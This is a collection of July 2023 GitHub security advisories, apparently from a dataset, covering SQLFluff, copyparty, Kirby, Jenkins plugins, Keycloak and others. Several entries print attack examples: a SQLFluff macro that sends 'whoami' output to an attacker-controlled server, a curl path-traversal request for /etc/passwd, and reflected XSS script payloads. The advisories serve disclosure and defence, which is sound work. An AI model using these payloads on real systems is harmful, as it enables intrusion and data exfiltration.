aswin1906/github-advisory-2023 huggingface dataset:
SQLFluff users with access to config file, using `libary_path` may call arbitrary python code (GHSA-jqhc-m2j3-fjrx)
Aliases: CVE-2023-36830
Published: 2023-07-06T21:05:43Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'sqlfluff'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.1.2'}]}]}]

### Impact
In environments where untrusted users have access to the config files (e.g. `.sqlfluff`), there is a potential security vulnerability where those users could use the `library_path` config value to allow arbitrary python code to be executed via macros. Jinja macros are executed within a [sandboxed environment](https://docs.snowflake.com/en/sql-reference/sql/show-warehouses) but the following example shows how an external url might be called and used to reveal internal information to an external listener:

```ini
[sqlfluff:templater:jinja]
library_path = /usr/lib/python3.9/http

[sqlfluff:templater:jinja:macros]
a_macro_def = {{client.HTTPSConnection('<SOME_EXTERNAL_SERVER_YOU_CONTROL>').request('POST', '/', server.os.popen('whoami').read())}}
```

For many users who use SQLFluff in the context of an environment where all users _already have fairly escalated privileges_, this may not be an issue - however in larger user bases, or where SQLFluff is bundled into another tool where developers still wish to give users access to supply their on _rule configuration_, this may be an issue.

### Patches
The 2.1.2 release offers the ability for the `library_path` argument to be overwritten on the command line by using [the `--library-path` option](https://docs.sqlfluff.com/en/stable/cli.html#cmdoption-sqlfluff-lint-library-path). This overrides any values provided in the config files and effectively prevents this route of attack for users which have access to the config file, but not to the scripts which call the SQLFluff CLI directly. A similar option is provided for the Python API, where users also have a greater ability to further customise or override configuration as necessary. 

Unless `library_path` is explicitly required, we recommend using the option `--library-path none` when invoking SQLFluff which will disable the `library-path` option entirely regardless of the options set in the configuration file or via inline config directives.

### Workarounds
Limiting access to - or otherwise validating configuration files before they are ingested by SQLFluff will provide a similar effect and does not require upgrade.

### Credit
Dan Amodio from the Tinder Red Team
Vendure Cross Site Request Forgery vulnerability impacting all API requests (GHSA-h9wq-xcqx-mqxm)
Published: 2023-07-11T22:46:19Z
Affected: [{'package': {'ecosystem': 'npm', 'name': '@vendure/core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.0.3'}]}]}]

### Impact
Vendure is an e-commerce GraphQL framework with a number of APIs and different levels of
authorization. By default the Cookie settings are insecure, having the SameSite setting as false
which results in not having one (originates from the cookie-session npm package’s default
settings).

### Patches
In progress

### Workarounds
Manually set the `authOptions.cookieOptions.sameSite` configuration option to `'strict'`, `'lax'` or `true`.

### References
_Are there any links users can visit to find out more?_
copyparty vulnerable to path traversal attack (GHSA-pxfv-7rr3-2qjg)
Aliases: CVE-2023-37474
Published: 2023-07-14T21:59:23Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'copyparty'}, 'ecosystem_specific': {'affected_functions': ['copyparty.httpcli.HttpCli.handle_get']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.8.2'}]}]}]

### Summary
Path traversal vulnerability detected in .cpr subfolder.
The Path Traversal attack technique allows an attacker access to files, directories, and commands that  reside outside the web document root directory.

### Details
Unauthenticated users are able to retrieve any files which are accessible (according to OS-level permissions) from the copyparty process. Usually, this is all files that are readable by the OS account which is used to run copyparty.

The vulnerability does not make it possible to list the contents of folders, so an attacker needs to know the full absolute path to the file, or the relative path from where copyparty is installed.

Some methods of running copyparty ([prisonparty](https://github.com/9001/copyparty/tree/hovudstraum/bin#prisonpartysh), the [nix package](https://github.com/9001/copyparty#nix-package), and [docker](https://github.com/9001/copyparty/tree/hovudstraum/scripts/docker)) had a mitigating effect, mostly reducing the attack scope to only include files inside copyparty volumes.

### PoC
```bash
curl -i -s -k -X  GET 'http://172.19.1.2:3923/.cpr/%2Fetc%2Fpasswd'
```

Additional examples:

http://172.19.4.2:3923/.cpr/a/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

http://172.19.4.2:3923/.cpr/deps/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

### Checking for exposure

if copyparty is running behind a reverse proxy, you can check the access-logs for traces of attacks, by grepping your access-logs for URLs containing both `.cpr/` and `%2F`
* nginx:
  ```bash
  (gzip -dc access.log*.gz; cat access.log) | sed -r 's/" [0-9]+ .*//' | grep -E 'cpr/.*%2[^0]' | grep -vF data:image/svg
  ```
MLflow Path Traversal vulnerability (GHSA-fmxj-6h9g-6vw3)
Aliases: CVE-2023-3765
Published: 2023-07-19T03:30:27Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'mlflow'}, 'ecosystem_specific': {'affected_functions': ['mlflow.backend.PyFuncBackend.predict']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.5.0'}]}]}]

Absolute Path Traversal in GitHub repository mlflow/mlflow prior to 2.5.0.
Null pointer dereference in PaddlePaddle (GHSA-rr46-m366-gm44)
Aliases: CVE-2023-38670
Published: 2023-07-26T12:30:28Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'paddlepaddle'}, 'ecosystem_specific': {'affected_functions': ['paddle.flip']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.5.0'}]}]}]

Null pointer dereference in paddle.flip in PaddlePaddle before 2.5.0. This resulted in a runtime crash and denial of service.
Winter CMS stored XSS through privileged upload of SVG file (GHSA-wjw2-4j7j-6gc3)
Aliases: CVE-2023-37269
Published: 2023-07-07T21:20:42Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'wintercms/winter'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.2.3'}]}]}]

### Impact
Users with the `backend.manage_branding` permission can upload SVGs as the application logo. Previously, SVG uploads were not sanitized, which could have allowed a stored XSS attack. 

Although this was a security issue, it's important to note that its severity is low. To exploit the vulnerability, an attacker would already need to have developer or super user level permissions in Winter CMS. This means they would already have extensive access and control within the system. Additionally, to execute the XSS, the attacker would need to convince the victim to directly visit the URL of the maliciously uploaded SVG, and the application would have to be using local storage where uploaded files are served under the same domain as the application itself instead of a CDN. This is because all SVGs in Winter CMS are rendered through an `img` tag, which prevents any payloads from being executed directly.

These two factors significantly limit the potential harm of this vulnerability. That being said, all users are advised to update to the latest version (1.2.3) to ensure their systems remain secure.

### Patches
This issue has been patched in v1.2.3 through the inclusion of full support for SVG uploads and automatic sanitization of uploaded SVG files.

### Workarounds
Apply https://github.com/wintercms/storm/commit/186d85d8fea2cae43afc807d39f68553c24e56be & https://github.com/wintercms/winter/commit/fa50b4c7489b67ea80072f8ac9fe5294fce1df1c manually if unable to upgrade to v1.2.3.
Apache InLong Insufficient Session Expiration vulnerability (GHSA-757p-7hp5-pqmr)
Aliases: CVE-2023-31065
Published: 2023-07-06T21:14:59Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.inlong:manager-pojo'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.4.0'}, {'fixed': '1.7.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.inlong:manager-dao'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.4.0'}, {'fixed': '1.7.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.inlong:manager-web'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.4.0'}, {'fixed': '1.7.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.inlong:manager-service'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.4.0'}, {'fixed': '1.7.0'}]}]}]

Insufficient Session Expiration vulnerability in Apache Software Foundation Apache InLong.This issue affects Apache InLong: from 1.4.0 through 1.6.0. 

An old session can be used by an attacker even after the user has been deleted or the password has been changed.

Users are advised to upgrade to Apache InLong's 1.7.0 or cherry-pick https://github.com/apache/inlong/pull/7836 or  https://github.com/apache/inlong/pull/7884 to solve it.
Insufficient Session Expiration after a password change (GHSA-5mvj-rvp8-rf45)
Aliases: CVE-2023-38489
Published: 2023-07-28T15:35:25Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'getkirby/cms'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '3.5.8.3'}]}]}, {'package': {'ecosystem': 'Packagist', 'name': 'getkirby/cms'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.6.0'}, {'fixed': '3.6.6.3'}]}]}, {'package': {'ecosystem': 'Packagist', 'name': 'getkirby/cms'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.7.0'}, {'fixed': '3.7.5.2'}]}]}, {'package': {'ecosystem': 'Packagist', 'name': 'getkirby/cms'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.8.0'}, {'fixed': '3.8.4.1'}]}]}, {'package': {'ecosystem': 'Packagist', 'name': 'getkirby/cms'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.9.0'}, {'fixed': '3.9.6'}]}]}]

### TL;DR

This vulnerability affects all Kirby sites with user accounts (unless Kirby's API and Panel are disabled in the config).

It can only be abused if a Kirby user is logged in on a device or browser that is shared with potentially untrusted users or if an attacker already maliciously used a previous password to log in to a Kirby site as the affected user.

----

### Introduction

Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization.

In the variation described in this advisory, it allows attackers to stay logged in to a Kirby site on another device or browser even if the logged in user has since changed their password.

### Impact

Kirby did not invalidate old user sessions after the user password was changed by the user or by a site admin.

If a user changed their password to lock out an attacker who was already in possession of the previous password or of a login session on another device or browser, the attacker would not be reliably prevented from accessing the Kirby site as the affected user.

### Patches

The problem has been patched in [Kirby 3.5.8.3](https://github.com/getkirby/kirby/releases/tag/3.5.8.3), [Kirby 3.6.6.3](https://github.com/getkirby/kirby/releases/tag/3.6.6.3), [Kirby 3.7.5.2](https://github.com/getkirby/kirby/releases/tag/3.7.5.2), [Kirby 3.8.4.1](https://github.com/getkirby/kirby/releases/tag/3.8.4.1) and [Kirby 3.9.6](https://github.com/getkirby/kirby/releases/tag/3.9.6). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability.

In all of the mentioned releases, we have updated the authentication implementation to keep track of the last time the password was changed. If a new password was set since the login, the session is invalidated. To enforce this fix even if the vulnerability was previously abused, all users are logged out from the Kirby site after updating to one of the patched releases.

### Credits

Thanks to Shankar Acharya (@5hank4r) for responsibly reporting the identified issue.
Heap buffer overflow in PaddlePaddle (GHSA-hh7p-hvm3-rg88)
Aliases: CVE-2023-38671
Published: 2023-07-26T12:30:28Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'paddlepaddle'}, 'ecosystem_specific': {'affected_functions': ['paddle.trace']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.5.0'}]}]}]

Heap buffer overflow in paddle.trace in PaddlePaddle before 2.5.0. This flaw can lead to a denial of service, information disclosure, or more damage is possible.
Code injection in PowerJob (GHSA-2h26-qfxm-r3pq)
Aliases: CVE-2023-37754
Published: 2023-07-28T15:30:23Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'tech.powerjob:powerjob-common'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '4.3.3'}]}]}]

PowerJob v4.3.3 was discovered to contain a remote command execution (RCE) vulnerability via the instanceId parameter at /instance/detail.
Apache Cassandra: Privilege escalation when enabling FQL/Audit logs (GHSA-m9p2-j4hg-g373)
Aliases: CVE-2023-30601
Published: 2023-07-06T21:15:06Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.cassandra:cassandra-all'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '4.1.0'}, {'fixed': '4.1.2'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.cassandra:cassandra-all'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '4.0.10'}]}]}]

Privilege escalation when enabling FQL/Audit logs allows user with JMX access to run arbitrary commands as the user running Apache Cassandra
This issue affects Apache Cassandra: from 4.0.0 through 4.0.9, from 4.1.0 through 4.1.1.

WORKAROUND
The vulnerability requires nodetool/JMX access to be exploitable, disable access for any non-trusted users.

MITIGATION
Upgrade to 4.0.10 or 4.1.2 and leave the new FQL/Auditlog configuration property allow_nodetool_archive_command as false.
Incorrect permission checks in Qualys Web App Scanning Connector Plugin allow capturing credentials  (GHSA-8wgf-3mrj-73x7)
Aliases: CVE-2023-39154
Published: 2023-07-26T15:30:57Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'com.qualys.plugins:qualys-was'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.0.11'}]}]}]

Qualys Web App Scanning Connector Plugin 2.0.10 and earlier does not correctly perform permission checks in several HTTP endpoints.

This allows attackers with global Item/Configure permission to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

Qualys Web App Scanning Connector Plugin 2.0.11 requires the appropriate permissions for the affected HTTP endpoints.
Denial of service from large image (GHSA-68p4-95xf-7gx8)
Aliases: CVE-2023-37900
Published: 2023-07-28T15:36:08Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:N/A:L
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/crossplane/crossplane'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.11.5'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/crossplane/crossplane'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.12.0'}, {'fixed': '1.12.3'}]}]}]

### Impact

An high-privileged user could create a Package referencing an arbitrarily large image containing that Crossplane would then parse, possibly resulting in exhausting all the available memory and therefore in the container being OOMKilled.

The impact is low due to the high privileges required to be able to create the Package and the eventually consistency nature of controller.

### Patches

The problem has been fixed in 1.11.5, 1.12.3 and 1.13.0, all the supported versions of Crossplane at the time of writing.

### Workarounds

Only using images from trusted sources and keeping Package editing/creating privileges to administrators only, which should be both considered already best practices.

### References

See `ADA-XP-23-16` in the Security Audit's [report](https://github.com/crossplane/crossplane/blob/ac8b24fe739c5d942ea885157148497f196c3dd3/security/ADA-security-audit-23.pdf).

### Credits

This was reported as `ADA-XP-23-16` by @AdamKorcz and @DavidKorczynski from Ada Logic and facilitated by OSTIF as part of the Security Audit sponsored by CNCF.
Keycloak: Impersonation and lockout possible through incorrect handling of email trust (GHSA-c7xw-p58w-h6fj)
Aliases: CVE-2023-0105
Published: 2023-07-18T19:12:28Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.keycloak:keycloak-core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '22.0.1'}]}]}]

Impersonation and lockout are possible due to email trust not being handled correctly in Keycloak. Since the verified state is not reset when the email changes, it is possible for users to shadow others with the same email and lock out or impersonate them.
phpMyFAQ Stored Cross-site Scripting vulnerability (GHSA-q9vm-29ph-p7mp)
Aliases: CVE-2023-4007
Published: 2023-07-31T03:30:23Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'thorsten/phpmyfaq'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '3.1.16'}]}]}]

Cross-site Scripting (XSS) - Stored in GitHub repository thorsten/phpmyfaq prior to 3.1.16.
Jenkins Test Results Aggregator Plugin missing permission check (GHSA-h656-vmrg-7rr6)
Aliases: CVE-2023-37956
Published: 2023-07-12T18:30:38Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.plugins:test-results-aggregator'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '1.2.13'}]}]}]

Jenkins Test Results Aggregator Plugin 1.2.13 and earlier does not perform a permission check in an HTTP endpoint implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified username and password.

Additionally, this HTTP endpoint does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.
Zinc Cross-site Scripting vulnerability (GHSA-7j6x-42mm-p7jm)
Aliases: CVE-2022-32172
Published: 2023-07-06T19:24:00Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/zincsearch/zincsearch'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.1.9'}, {'fixed': '0.3.2'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/zinclabs/zinc'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.1.9'}, {'fixed': '0.3.2'}]}]}]

In Zinc, versions v0.1.9 through v0.3.1 are vulnerable to Stored Cross-Site Scripting when using the delete template functionality. When an authenticated user deletes a template with a XSS payload in the name field, the Javascript payload will be executed and allow an attacker to access the user’s credentials.
Deserialization vulnerability in Helix workflow and REST (GHSA-jhcr-hph9-g7wm)
Aliases: CVE-2023-38647
Published: 2023-07-26T09:30:15Z
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.helix:helix-core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.3.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.helix:helix-rest'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.3.0'}]}]}]

An attacker can use SnakeYAML to deserialize java.net.URLClassLoader and make it load a JAR from a specified URL, and then deserialize javax.script.ScriptEngineManager to load code using that ClassLoader. This unbounded deserialization can likely lead to remote code execution. The code can be run in Helix REST start and Workflow creation.

Affect all the versions lower and include 1.2.0.

Affected products: helix-core, helix-rest

Mitigation: Short term, stop using any YAML based configuration and workflow creation.
                  Long term, all Helix version bumping up to 1.3.0
TeamPass vulnerable to Improper Encoding or Escaping of Output (GHSA-2cv5-qvq3-6276)
Aliases: CVE-2023-3552
Published: 2023-07-08T09:30:26Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'nilsteampassnet/teampass'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '3.0.10'}]}]}]

TeamPass prior to 3.0.10 is vulnerable to cross-site scripting filter bypass in folder names. This can lead to information disclosure.
ethyca-fides Webserver API Path Traversal vulnerability (GHSA-r25m-cr6v-p9hq)
Aliases: CVE-2023-36827
Published: 2023-07-06T20:40:17Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'ethyca-fides'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.15.1'}]}]}]

### Impact
A path traversal (directory traversal) vulnerability affects fides versions lower than `2.15.1`, allowing remote attackers to access arbitrary files on the fides webserver container's filesystem.

### Patches
The vulnerability is patched in fides `2.15.1`. Users should upgrade to this version.

### Workarounds
If the Fides webserver API is not directly accessible to attackers and is instead deployed behind a reverse proxy as recommended in Ethyca's [security best practice documentation](https://docs.ethyca.com/docs/configuration/security-practices#reverse-proxy), and the reverse proxy is an AWS application load balancer, the vulnerability can't be exploited by these attackers. An AWS application load balancer will reject this attack with a 400 error.

Additionally, any secrets supplied to the container using environment variables rather than a `fides.toml` configuration file are not affected by this vulnerability.
twitch-tui's connection is not encrypted (GHSA-779w-xvpm-78jx)
Aliases: CVE-2023-38688
Published: 2023-07-31T22:02:54Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected: [{'package': {'ecosystem': 'crates.io', 'name': 'twitch-tui'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.1'}]}]}]

### Summary
The connection is not using TLS for communication

### Details
In the configuration of the irc connection, [you are disabling tls](https://github.com/Xithrius/twitch-tui/blob/340afc3c8c07a83289fe6ef614aa7563c8b70756/src/twitch/connection.rs#L23) which makes all communication to twitch irc servers unencrypted.

### PoC
You can verify by using tcpdump/wireshark that traffic is unencrypted.

### Impact
Communication can be sniffed, even auth tokens.
Jenkins Rebuilder Plugin vulnerable to Cross Site Request Forgery (GHSA-5r5c-7rm4-mp4r)
Aliases: CVE-2023-37954
Published: 2023-07-12T18:30:38Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'com.sonyericsson.hudson.plugins.rebuild:rebuild'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '320.v5a'}]}]}]

Jenkins Rebuilder Plugin 320.v5a_0933a_e7d61 and earlier does not require POST requests for an HTTP endpoint, resulting in a cross-site request forgery (CSRF) vulnerability.

This vulnerability allows attackers to rebuild a previous build.
Apache Superset vulnerable to Exposure of Sensitive Information (GHSA-cmjc-52fg-9f7j)
Aliases: CVE-2023-30776
Published: 2023-07-06T19:24:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'apache-superset'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.3.0'}, {'fixed': '2.1.0'}]}]}]

An authenticated user with specific data permissions could access database connections stored passwords by requesting a specific REST API. This issue affects Apache Superset version 1.3.0 up to 2.0.1.
topgrade Time-of-check Time-of-use (TOCTOU) Race Condition in remove_dir_all (GHSA-f2wx-xjfw-xjv6)
Published: 2023-07-17T18:21:58Z
Affected: [{'package': {'ecosystem': 'crates.io', 'name': 'topgrade'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '12.0.1'}]}], 'database_specific': {'last_known_affected_version_range': '<= 12.0.0'}}]

### Summary
https://github.com/advisories/GHSA-mc8h-8q98-g5hr
https://github.com/XAMPPRocky/remove_dir_all/commit/7247a8b6ee59fc99bbb69ca6b3ca4bfd8c809ead

`tempfile` v0.4.26 ships with affected `remove_dir_all` v0.5.3 and so blocks my deployment of v12 to openSUSE distribution because it imposes a clean `cargo audit`

Updating `tempfile` is warranted
Apache StreamPark Improper Input Validation vulnerability (GHSA-m5h8-2pjw-vg3j)
Aliases: CVE-2022-46365
Published: 2023-07-06T19:24:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.streampark:streampark'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.0.0'}, {'fixed': '2.0.0'}]}]}]

Apache StreamPark 1.0.0 before 2.0.0 When the user successfully logs in, to modify his profile, the username will be passed to the server-layer as a parameter, but not verified whether the user name is the currently logged user and whether the user is legal, This will allow malicious attackers to send any username to modify and reset the account, Users of the affected versions should upgrade to Apache StreamPark 2.0.0 or later.
DoS vulnerability for apps with sockets enabled (GHSA-gpw9-fwm8-7rx7)
Aliases: CVE-2023-38504
Published: 2023-07-27T17:13:14Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected: [{'package': {'ecosystem': 'npm', 'name': 'sails'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.5.7'}]}]}]

### Impact
In Sails apps <=v1.5.6, an attacker can send a virtual request that will cause the node process to crash. 

### Patches
This behavior was fixed in Sails [v1.5.7](https://github.com/balderdashy/sails/releases/tag/v1.5.7)

### Workarounds
Disable the sockets hook and remove the `sails.io.js` client

### References
https://github.com/balderdashy/sails/pull/7287

Big thanks to @ThomasRinsma at [Codean](https://www.linkedin.com/company/codeanio/)!
Jenkins OpenShift Login Plugin session fixation vulnerability (GHSA-rwg5-2pv9-633w)
Aliases: CVE-2023-37946
Published: 2023-07-12T18:30:38Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.openshift.jenkins:openshift-login'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.1.0.230.v5d7030b'}]}]}]

Jenkins OpenShift Login Plugin 1.1.0.227.v27e08dfb_1a_20 and earlier does not invalidate the existing session on login.

This allows attackers to use social engineering techniques to gain administrator access to Jenkins.

OpenShift Login Plugin 1.1.0.230.v5d7030b_f5432 invalidates the existing session on login.
Jenkins Datadog Plugin does not perform a permission check in an HTTP endpoint. (GHSA-w3p4-7823-m33q)
Aliases: CVE-2023-37944
Published: 2023-07-12T18:30:38Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.datadog.jenkins.plugins:datadog'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '5.4.2'}]}]}]

Jenkins Datadog Plugin 5.4.1 and earlier does not perform a permission check in an HTTP endpoint.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

Datadog Plugin 5.4.2 requires Overall/Administer permission to access the affected HTTP endpoint.
copyparty vulnerable to reflected cross-site scripting via hc parameter (GHSA-cw7j-v52w-fp5r)
Published: 2023-07-21T20:20:56Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'copyparty'}, 'ecosystem_specific': {'affected_functions': ['copyparty.httpcli.HttpCli.tx_svcs']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.8.6'}]}]}]

### Summary
The application contains a reflected cross-site scripting via URL-parameter `?hc=...`

### Details
A reflected cross-site scripting (XSS) vulnerability exists in the web interface of the application that could allow an attacker to execute malicious javascript code by tricking users into accessing a malicious link.

The worst-case outcome of this is being able to move or delete existing files on the server, or upload new files, using the account of the person who clicks the malicious link.

It is recommended to change the passwords of  your copyparty accounts, unless you have inspected your logs and found no trace of attacks.

### Checking for exposure
if copyparty is running behind a reverse proxy, you can check the access-logs for traces of attacks, by grepping for URLs containing `?hc=` with `<` somewhere in its value, for example using the following command:
* nginx:
  ```bash
  (gzip -dc access.log*.gz; cat access.log) | sed -r 's/" [0-9]+ .*//' | grep -E '[?&](hc|pw)=.*[<>]'
  ```


### PoC
* `http://127.0.0.1:3923/?hc="><script>alert(1);</script>`
* `http://127.0.0.1:3923/?pw=<script>alert(1);</script>`
TeamPass Code Injection vulnerability (GHSA-97hm-2mfr-2p97)
Aliases: CVE-2023-3551
Published: 2023-07-08T09:30:24Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'nilsteampassnet/teampass'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '3.0.10'}]}]}]

 Code Injection in GitHub repository nilsteampassnet/teampass prior to 3.0.10.
Apache InLong: General user can delete and update process (GHSA-86pw-4rqp-6x7v)
Aliases: CVE-2023-34189
